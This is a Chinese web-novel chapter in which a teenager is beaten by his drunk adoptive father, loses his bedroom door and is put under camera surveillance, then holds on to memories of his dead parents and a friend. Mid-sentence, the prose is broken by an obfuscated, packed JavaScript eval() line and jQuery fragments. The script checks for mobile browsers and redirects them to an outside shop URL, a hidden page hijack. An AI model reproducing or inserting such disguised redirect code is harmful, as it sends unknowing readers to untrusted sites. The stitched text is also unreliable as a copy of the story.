跟忘海告别后回到自己的房间里。
走廊里传来沉重的脚步声，混着酒瓶拖在地上刮出的刺耳声响。苌斓正在房间里背英语单词，听到那个声音，笔尖停了半拍，然后继续写。这一周他每天放学后都去忘海教室自习，体育课上当着全班的面对体育老师说“我随叫随到”，他把忘海身边的空位坐成了自己的位置。他在学校里撑得很稳，但回到这个家，他依然需要在养父喝醉时把自己缩成最小的一团——不出声，不开门，不让任何存在感从门缝里漏出去。他以为今天和往常一样，只要熬过客厅里那阵摔摔打打的动静，夜就会安静下来。
但今天养父没有在客厅停留。脚步声径直朝他的房间逼近，每一步都像踩在他的耳膜上。他放下笔，还没来得及站起来，门就被从外面一脚踹开了。门把手撞在墙壁上，磕掉了一块墙皮，铅笔筒滚落在地，笔散了一地。养父站在门口，满身酒气，手里攥着几张皱巴巴的钞票——不是赢来的，是输剩下又找人借的。
“老子在外面输钱，你在这里享福？不是你我怎么会欠这么多钱——当年要不是为了你，你亲爹亲妈也不会死！”
苌斓愣住了。他习惯了无端的谩骂，但这句话不一样。父亲和母亲是在那场车祸中去世的，肇事货车闯了红灯，他们的车被追尾，父亲从座椅缝隙里伸过手来找到他的膝盖，到最后一刻都在说没事的。那不是他造成的。他抬起头想反驳，但还没来得及开口，衣领就被一把揪住，整个人从椅子上被拽起来，后背撞在书桌边缘。拳头落下来，先是肚子，然后是肩膀，然后是任何可以落拳的地方。他用手臂护住头，咬紧牙关不出声。这是他更小的时候学会的事——不要出声，出声会招来更狠的。他蜷在床角，把呼吸压到最浅，把意识缩进大脑最深处，让父亲的声音从很远的地方浮上来，盖过拳脚落在身上的闷响。别怕，救护车马上来了。妈在这里，不要怕。回去给你煮奶茶，红枣桂圆味的。他在拳脚落下的时候，一遍一遍地想着那些声音。
养父打累了，甩了甩手，往后退了一步。苌斓以为结束了，但他没有走。他看了一眼那扇被踹开的门，嘴角扯出一个比醉意更清醒的冷笑。“会锁门是吧。老子让你锁。”他转身去找工具，螺丝刀、锤子、扳手，一阵金属碰撞声之后，整扇门被从门框上卸下来，靠在走廊墙壁上。门锁上还插着苌斓的钥匙，在走廊灯光下泛着冷光。
养母从厨房走出来，手里拿着一个刚拆封的监控摄像头。她的脸上没有愤怒，也没有得意，只有那种苌斓看了十几年的、理所当然的漠然。和当初在饭桌上用筷子敲着碗边说“你什么时候能不做没用的事”时一模一样，和上周把父亲的紫砂杯扔进橱柜最上层时一模一样。“这个摄像头是给你装的。以后你在这个房间里做什么，我都能看到。”她把摄像头固定在客厅的柜子上，镜头正对着苌斓敞开的房间。红光一闪，监控开始运转。
苌斓坐在床沿上，面前是空荡荡的门洞，走廊里的灯光从那里倾泻进来，把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724393|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的影子拉得又长又扁，像墙上的一道裂痕。他没有哭，甚至觉得自己已经不怎么疼了。他想起那天在超市里母亲挽着父亲的手臂走在前面，他推着购物车跟在后面，车轴歪向左边，每推几步就要往右拨一下。想起那包原味薯片，想起后备箱里的红糖和牛奶，想起小票上用指甲画出的痕迹。那是他这辈子最后一次拥有自己的房间。现在他连门都没有了。
他慢慢从床沿上站起来，把散落的铅笔一支一支捡起来放回笔筒。然后把父亲的戒指从口袋里掏出来攥在手心里，把忘海的深灰色围巾从衣柜里找出来绕在脖子上。他伸手探进衣柜深处，指尖依次碰过那颗核桃、那颗花生、那张母亲写的便签、那张画满指甲痕的购物小票。每碰一样，就在心里默念一个名字。还在，都还在。
他重新坐回书桌前，摊开英语课本。摄像头红光闪烁，门洞敞开，养父在客厅里又开了一瓶酒，养母在隔壁房间打电话，声音尖利而刺耳。他低头看着课本上的单词，想起今天下午在操场上，体育老师愣在原地嘴唇动了好几下也没说出话来，忘海站在阳光里，怀里抱着那摞垫子，安静地等他走过去。他对忘海说，你的口袋分给我一半，我的后背分给你一半。现在他的后背抵着空荡荡的门洞，整个家像一个张着大嘴的深渊，随时准备把他吞下去。但这句话不是白说的。明天早上，路口会有一个人等他。保温杯里会放六颗红枣，围巾会多带一条。只要那个人还在，他就能撑过今晚，就能撑过每一个没有门的夜晚。